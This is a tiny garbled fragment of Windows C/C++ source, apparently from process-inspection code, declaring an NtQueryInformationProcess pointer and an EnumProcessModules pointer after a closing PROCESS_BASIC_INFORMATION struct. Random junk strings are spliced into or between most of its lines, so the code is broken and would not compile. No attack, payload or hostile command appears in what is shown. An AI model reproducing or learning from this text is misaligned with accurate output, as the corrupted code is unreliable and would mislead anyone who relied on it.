} PROCESS_BASIC_INFORMATION; wYC9~ms-
g2!0vB>
PROCNTQSIP NtQueryInformationProcess; u_h=nk
#^"hqNwA
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (}VuiNY<